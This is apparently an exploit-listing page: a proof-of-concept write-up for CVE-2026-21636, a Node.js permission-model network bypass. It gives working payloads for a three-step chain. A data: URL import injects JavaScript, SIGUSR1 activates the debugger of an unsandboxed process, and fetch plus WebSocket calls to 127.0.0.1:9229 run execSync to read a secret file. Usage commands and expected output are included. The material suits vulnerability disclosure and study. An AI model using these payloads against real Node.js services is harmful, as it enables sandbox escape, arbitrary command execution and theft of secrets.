## https://sploitus.com/exploit?id=01945D2F-4B81-5485-A1AF-F1A1946428CD
# CVE-2026-21636 - Node.js Permission Model UDS/Network Bypass
## Vulnerability summary
The Node.js **permission model** (`--permission`) is designed to sandbox a process by restricting access to the filesystem, child processes, workers, and network. **CVE-2026-21636** reveals that connections made via `undici`/`fetch` (and `net`/`tls`) to **Unix Domain Sockets** and local TCP addresses completely bypass the network guard, even when `--allow-net` is absent.
> Affected: Node.js v25 (network permissions are still experimental at the time of disclosure).
> This PoC reproduces the concept on v22 where the same bypass is observable.
An attacker who can inject arbitrary JavaScript into a process running under `--permission` (but without `--allow-net` or `--allow-child-process`) can:
1. Connect to privileged local services that should be unreachable.
2. Pivot through that service to execute arbitrary commands outside the sandbox.
---
## Environment architecture
Two processes run side-by-side inside the container under `supervisord`:
| Process | User | Flags | Capabilities |
|---|---|---|---|
| `target.cjs` | `app` | none | full Node.js API, no sandbox |
| `server.mjs` | `app` | `--permission --allow-fs-read=/` | full FS read โ **no net, no child_process, no worker** |
`target.cjs` writes its own PID to `/tmp/target.pid` on startup, then loops forever (idle victim process). `server.mjs` exposes an Express server on `:8000` with a `/pid` endpoint and a vulnerable `/language` endpoint.
`/app/secret.txt` is owned by `app` (`chmod 444`). Both processes can access it at the OS level. The exploit does not rely on a file-permission barrier โ it demonstrates that `server.mjs`, despite `--allow-net` being absent, can reach `127.0.0.1:9229` via `fetch()`/`WebSocket` and execute arbitrary code inside the unsandboxed `target.cjs` process. Reading `secret.txt` via CDP is the proof of that code execution.
> **Note: what this PoC actually demonstrates**
>
> Because `server.mjs` already runs with `--allow-fs-read=/`, reading `/app/secret.txt` directly from the sandboxed process is **trivially possible** using only the JS injection (step 1):
>
> ```js
> import { readFileSync } from 'fs';
> export default { secret: readFileSync('/app/secret.txt', 'utf8') };
> ```
>
> The filesystem read is not what this PoC is about. The goal is to demonstrate **CVE-2026-21636**: despite `--allow-net` being absent, `fetch()` (undici) can establish a TCP connection to `127.0.0.1:9229`, bypassing the permission model's network guard entirely. The exploit uses that bypass to pivot into the fully unsandboxed `target.cjs` process via CDP and achieve **arbitrary code execution outside the sandbox**; something no amount of `--allow-fs-read` would permit.
---
## Entry point - `POST /language`
```js
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
```
The server performs a **dynamic `import()`** on a user-controlled string. Node.js's `import()` natively supports the `data:` URL scheme:
```
data:text/javascript,
```
The `/index.js` suffix appended by the server is neutralized by appending `//` at the end of the payload (treated as a URL comment / ignored path fragment).
This gives **arbitrary JavaScript execution inside the sandboxed process** - the entry point to abuse CVE-2026-21636.
---
## Permission model - what is (and isn't) allowed
The server starts with:
```
node --permission --allow-fs-read=/ /app/server.mjs
```
| Permission | Status |
|---|---|
| `--allow-fs-read=/` | granted (full read) |
| `--allow-fs-write` | **denied** |
| `--allow-net` | **denied** (experimental, not set) |
| `--allow-child-process` | **denied** |
| `--allow-worker` | **denied** |
| `--allow-inspector` | **denied** |
The intent: even if an attacker runs code inside `server.mjs`, they cannot reach the network, spawn processes, or access the inspector.
CVE-2026-21636 breaks the **`--allow-net`** boundary.
---
## Attack chain (3 steps)
### Step 1 - Retrieve target PID
```
GET /pid โ { "pid": }
```
`target.cjs` writes its own PID to `/tmp/target.pid` on startup. The server exposes it. This identifies the victim process that will be used as a CDP relay.
This could also be done by injecting js in the entry point ; in order to simplify it, I juste created the /pid endpoint.
---
### Step 2 - Activate the V8 inspector on `target.cjs` via SIGUSR1
Payload injected via `POST /language` (as a `data:` URL):
```js
process.kill(, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: };
```
When a Node.js process receives **SIGUSR1**, it starts (or resumes) its V8/CDP debugger and begins listening on:
```
127.0.0.1:9229
```
Because `target.cjs` runs **without `--permission`**, its inspector is fully privileged - it can evaluate any expression, including `require('child_process').execSync(...)`.
Sending signals (`process.kill`) is not gated by the permission model, so this step succeeds from inside the sandbox.
---
### Step 3 - Connect to CDP and execute commands (CVE-2026-21636)
Second payload injected via `POST /language`:
```js
// fetch the list of debuggable targets from the inspector HTTP API
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//then open a WebSocket to the CDP endpoint of target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
```
**Why this works despite `--allow-net` being absent:**
`fetch()` in Node.js is implemented by **undici**. CVE-2026-21636 shows that undici's connection path for `http://127.0.0.1:...` (and UDS `socketPath` options) does **not** go through the permission model's network check. The sandbox believes no outbound network access was made, yet the TCP connection to `:9229` succeeds.
The CDP `Runtime.evaluate` call runs inside the **unsandboxed** `target.cjs` process, so `require('child_process')` is available and `execSync` works freely.
---
## Full exploit flow
```
attacker (Python script)
โ
โโ[1]โ GET /pid โ pid = N
โ
โโ[2]โ POST /language data:js SIGUSR1 โ target.cjs inspector starts on :9229
โ
โโ[3]โ POST /language data:js fetch+WS โ CDP Runtime.evaluate โ cat /app/secret.txt
โ
CVE-2026-21636 bypass here
(fetch to 127.0.0.1 without --allow-net)
```
---
## Usage
```bash
# Build and start the environment
docker compose up --build -d
# Run the exploit
python3 exploit.py
```
Expected output:
```
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
```
---
## References
- [NVD - CVE-2026-21636](https://nvd.nist.gov/vuln/detail/CVE-2026-21636)
- [Node.js Permission Model documentation](https://nodejs.org/api/permissions.html)
- [V8 Inspector / CDP protocol](https://chromedevtools.github.io/devtools-protocol/)
- [undici - Node.js built-in HTTP client](https://undici.nodejs.org/)